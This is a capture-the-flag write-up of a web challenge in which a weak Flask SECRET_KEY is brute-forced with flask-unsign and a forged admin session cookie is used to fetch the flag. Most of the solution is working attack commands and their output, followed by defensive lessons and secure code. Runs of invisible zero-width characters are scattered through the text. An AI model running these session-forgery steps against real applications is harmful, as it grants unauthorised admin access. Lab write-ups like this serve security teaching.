← Back to Writeups
CUSTOMMediumWeb

Привилегированный гость (Privileged Guest)

XESXOR9/10/20262 min read
#web#custom#medium#cookie-manipulation#flask-session-cookie-decoding#secret_key-bruteforce-with-wor#session-forgery-for-privilege-#linux

Привилегированный гость (Privileged Guest)

Platform: hackerlab | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-01-04 | Status: Solved Techniques: Cookie manipulation, Flask session cookie decoding, SECRET_KEY bruteforce with wordlist, Session forgery for privilege escalation (guest → admin)

Summary

Task: Flask web app with terminal interface, user gets guest session, /get-flag requires admin. Solution: Bruteforce weak SECRET_KEY with flask-unsign, forge session cookie with _user_id=admin.

Привилегированный гость (Privileged Guest) — hackerlab

Description

"Видные люди в гостях не засиживаются" (Distinguished people don't overstay their welcome as guests)

Target: http://62.173.140.174:16042

Analysis

Application Reconnaissance

Flask/Python web application with a terminal-like interface. Upon login, the user receives a session with the guest role. The /get-flag endpoint checks for admin privileges.

Session Cookie Analysis

Flask uses signed cookies for session storage. Decode the cookie using flask-unsign: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

bash
flask-unsign --decode --cookie "eyJfZnJlc2giOnRydWUsIl9pZCI6Ijc1ZjQwYTAyN2NiN2FkOGUwYTNjMWI1OGZhZTMyNGE4YzEwNDkxYjVlYmQ5NTMwMThlMmViOWVlMzc0ODJjN2FjYTFjYzQwZDYzM2RkZjJkYjQxMTdiNzVjYTdhYzBiNWEyZDY2ZWZkNTQxNjk3YjM4NWUxMGUwYWI5ODkzOGE4IiwiX3VzZXJfaWQiOiJndWVzdCJ9.Z3nLcw.signature"

Result:

python
{
    '_fresh': True,
    '_id': '75f40a027cb7ad8e0a3c1b58fae324a8c10491b5ebd953018e2eb9ee37482c7aca1cc40d633ddf2db4117b75ca7ac0b5a2d66efd541697b385e10e0ab98938a8',
    '_user_id': 'guest'
}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key observation: _user_id is set to 'guest'. To get the flag, we need to change it to 'admin'.

Vulnerability: Weak SECRET_KEY

Flask signs cookies using SECRET_KEY. If the key is weak (from a wordlist), it can be bruteforced.

Solution

Step 1: Bruteforce SECRET_KEY

bash
flask-unsign --unsign \
    --cookie "eyJfZnJlc2giOnRydWUsIl9pZCI6Ijc1ZjQwYTAyN2NiN2FkOGUwYTNjMWI1OGZhZTMyNGE4YzEwNDkxYjVlYmQ5NTMwMThlMmViOWVlMzc0ODJjN2FjYTFjYzQwZDYzM2RkZjJkYjQxMTdiNzVjYTdhYzBiNWEyZDY2ZWZkNTQxNjk3YjM4NWUxMGUwYWI5ODkzOGE4IiwiX3VzZXJfaWQiOiJndWVzdCJ9.Z3nLcw.signature" \
    --wordlist /usr/share/seclists/Passwords/Common-Credentials/10k-most-common.txt \
    --no-literal-eval

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Result:

[*] Session decodes to: {'_fresh': True, '_id': '...', '_user_id': 'guest'}
[*] Starting brute-forcer with 8 threads..
[+] Found secret key after 5888 attempts
b'ramirez'

SECRET_KEY found: ramirez

Step 2: Create Forged Session

Sign a new cookie with _user_id: 'admin':

bash
flask-unsign --sign \
    --cookie "{'_fresh': True, '_id': '75f40a027cb7ad8e0a3c1b58fae324a8c10491b5ebd953018e2eb9ee37482c7aca1cc40d633ddf2db4117b75ca7ac0b5a2d66efd541697b385e10e0ab98938a8', '_user_id': 'admin'}" \
    --secret "ramirez"

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Result:

eyJfZnJlc2giOnRydWUsIl9pZCI6Ijc1ZjQwYTAyN2NiN2FkOGUwYTNjMWI1OGZhZTMyNGE4YzEwNDkxYjVlYmQ5NTMwMThlMmViOWVlMzc0ODJjN2FjYTFjYzQwZDYzM2RkZjJkYjQxMTdiNzVjYTdhYzBiNWEyZDY2ZWZkNTQxNjk3YjM4NWUxMGUwYWI5ODkzOGE4IiwiX3VzZXJfaWQiOiJhZG1pbiJ9.Z3nMXQ.forged_signature

Step 3: Get the Flag

bash
curl -b "session=FORGED_COOKIE" http://62.173.140.174:16042/get-flag

Lessons

  1. SECRET_KEY must be cryptographically strong: Use secrets.token_hex(32) or equivalent. Never use dictionary words. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

  2. Don't store roles only in the session: Verify user privileges in the database on every request.

  3. flask-unsign is a powerful tool: It can decode, bruteforce, and sign Flask cookies.

  4. Task name is a hint: "Privileged Guest" hints at privilege escalation from guest to admin.

Secure Alternative

python
import secrets

# Generate a strong SECRET_KEY
app.config['SECRET_KEY'] = secrets.token_hex(32)

# Verify privileges via database, not just session
@app.route('/get-flag')
@login_required
def get_flag():
    user = User.query.get(session['_user_id'])
    if user and user.role == 'admin':
        return flag
    abort(403)

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Useful flask-unsign Commands

bash
# Decode cookie
flask-unsign --decode --cookie "COOKIE"

# Bruteforce SECRET_KEY
flask-unsign --unsign --cookie "COOKIE" --wordlist wordlist.txt

# Sign new cookie
flask-unsign --sign --cookie "{'key': 'value'}" --secret "SECRET"

# All together (decode + unsign + sign)
flask-unsign --unsign --cookie "COOKIE" -w wordlist.txt && \
flask-unsign --sign --cookie "{'_user_id': 'admin'}" --secret "FOUND_SECRET"

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍